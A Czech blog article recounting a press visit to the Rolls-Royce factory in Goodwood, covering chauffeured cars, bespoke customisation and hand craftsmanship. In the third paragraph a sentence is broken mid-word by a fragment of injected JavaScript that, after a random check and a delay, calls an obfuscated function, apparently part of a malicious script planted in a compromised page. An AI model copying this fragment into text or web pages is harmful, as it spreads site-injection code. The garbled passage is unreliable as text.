Rolls-Dlak v říši luxusu

Mám sice na hlavě něco, co ze všeho nejvíc připomíná koberec, vyrost jsem na punkovejch a rockovejch kapelách a moje nejoblíbenější úprava špaget je Salsa Napoletana z modrý konzervy. To ale neznamená, že neumím ocenit luxus! Naučil jsem se to, když jsem před lety psal pro Lidovky. Řídil jsem tehdy kamiony na testovací dráze Scanie a pak večeřel v átriu národního muzea ve Stockholmu, letěl jsem soukromým letadlem do továrny Mercedesu, strávil tři dny v luxusní rezidenci Ballentines ve Skotsku, poznal skvělý restaurace od Francie po Rumunsko. Díky tomu vím, kdy se používá která vidlička, jak se jedí ústřice, jaká whiskey je dobrá a jak se slušně obléct, když to musí bejt. Ale nic z toho mě nepřipravilo na návštěvu Rolls-Royce v Goodwoodu.

Celý to začalo už na letišti, kde čekal sympatickej anglán s cedulkou. Jak se ukázalo, dostal jsem ho k dispozici jako šoféra – a vlastní Rolls-Royce Ghost k tomu. Na tuhle akci nás pozvali celkem čtyři, kromě Autodlaka ještě milou fashion blogerku z Turecka, módního blogera z Polska a svérázného Dimitrije z Ruska. Určitě bychom se všichni vešli i do jednoho Ghosta nebo Phantoma, jenže v Rollsu si řekli ne. A tak dostal každej z nás jednoho. I v bohatým Londýně je Rolls-Royce pořád něco, co poutá pozornost, a když jich jede celá kolona, je z toho malý pozdvižení. Já jsem sice skromnej kluk ze severních Čech, ale co vám budu povídat, dělalo mi to náramně dobře.

Byla to vlastně asi první akce automobilky, kde jsem ani sekundu neřídil. A vůbec mi to nevadilo. Na zadní sedadlo Rollse se zvyká rychle. Jak se říká, štěstí si za peníze nekoupíš, ale rozhodně je příjemnější brečet v limuzíně, než v tramvaji. Dokonalý završení celýho egotripu bylo, když mě o dva dny později šofér vysazoval na letišti. Všichni kolem se najednou zastavili a koukali, jaké že celebritě to otevřou dveře. Tenhle pocit vám neposkytne žádná A8, ani BMW řady 7 a už vůbec ne Škoda Superb. Udržet v ten okamžik na obličeji nějakej normální výraz mě stálo tolik sil, že jsem nejspíš vypadal jako po mrtvici. Ten krátkej pocit výjimečnosti a důležitosti za to ale stál. Tím spíš, že když jsem po přistání v Praze musel definitivně opustit business třídu, jak fyzicky, tak symbolicky, stal se ze mě zase jen řadovej nýmandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and.

Osobní zkušenost v Goodwoodu taky dost změnila můj pohled na značku. „Naším skutečným konkurentem nejsou ostatní výrobci aut, ale výrobci jachet nebo drahých luxusních hodinek,“ prohlásil na společný večeři náš společník Frank. A není to žádnej bullshit. Přes 90 % všech aut prochází programem Bespoke Design, ve kterým si je majitelé nechají upravit podle svých přání. Mají při tom absolutní volnost ve výběru materiálů, barev, drahokamů, vzácnýho dřeva nebo unikátních doplňků. Vymyslet si můžete cokoliv. Jistá lady si údajně přála vůz v barvě, jakou má srst jejího setra. A v Rollsu nehnuli ani brvou, čokla naskenovali a vytvořili barvu přesně podle odstínů jeho kožichu. Byla to práce pro tým lidí na tři týdny.

Jinej zákazník si nechal vyrobit kompletní interiér z oblíbenýho stromu, kterej padl na jeho pozemku. A když jakýsi pán zatoužil po autě v barvě svých bot, taky ho dostal. A nikdo se ho neptal, proč to, sakra, neudělá opačně. „Nejsme žádná módní policie. Když chce náš zákazník žlutý Rolls-Royce, jsme tu od toho, abychom mu opatřili tu nejlepší žlutou, jaká existuje,“ říká Frank. Výsledkem je, že skoro žádná dvě nejsou stejná, byť se někdy liší jen v detailech. Tři bohatý kamarádky si tak například nechaly udělat naprosto stejný auta, jen jedna měla na dvanáctce v hodinách na palubní desce diamant, druhá rubín a třetí safír. To musí bejt divošky!

Rolls-Royce jako auto je zkrátka jen čistý plátno, na kterým se pak podepíšou umělci mnoha profesí. Je to stejně tak práce inženýrů, jako módních návrhářů. Možnost vymyslet si úplně cokoliv není bonus, ale základní vlastnost. Během celý mojí návštěvy nepadlo ani jedno slovo o výkonech fantastickejch dvanáctiválců nebo nastavení podvozku. Prostě se očekává, že tyhle věci jsou pořešený, a víc to není třeba rozebírat. Zajímavý je i to, jak mladej tým na designu aut pracuje – průměrnej věk není ani 30 let. Třeba pozoruhodnej Phantom Serenity s interiérem z hedvábí a perleti je dílem slečny, která je mladší než já. Přitom udělat jedny dveře trvalo 400 hodin a cena auta se díky všem úpravám zdvojnásobila. Právě to dneska žene byznys celé značky.

Továrna v Goodwoodu taky není žádná klasická fabrika na auta. Všude vládne relativní klid, žádný bušení strojů, rozhulákaná výrobní linka ani stovky robotů. Naprostou většinu práce dělají lidé, hezky v klidu a potichu. Posouvají karoserie po lince, leští hliník, usazují jednotlivé díly. A přinejmenším stejný množství dalších o patro výš vydělává kůže nebo prošívá potahy. Mezi nimi pracuje i chlapík jménem Mark Court, jedinej člověk na světě, kterej ručně kreslí štětcem boční linku na karoserii auta. Ostatně za celej loňskej rok se nevyrobilo ani 4000 aut, a i tak šlo o druhej nejlepší výsledek v historii. Místní s mírnou nadsázkou říkají, že chtějí vždy vyrobit přesně o jedno auto méně, než jaká je poptávka.

Ale abych nezapomněl – ještě o jeden dekadentní zážitek se musím podělit! To když jsme v koloně Rollsů projížděli krásnou venkovní galerii plnou moderního umění, a jedním z vystavených děl byla zrezlá škodárna. Když jsem tak z okna Ghosta sledoval zuboženou škůdku, připadal jsem si skoro jako vlastizrádce. I když – není vlastně hezký, že tahle věc někomu připadá jako umění? Mně totiž rozhodně ne. Ať tak nebo tak, můj vlastizrádnej zadek si zrovna dopřával takový pohodlíčko, že mu to bylo úplně jedno.

Share on facebook
sdílej článek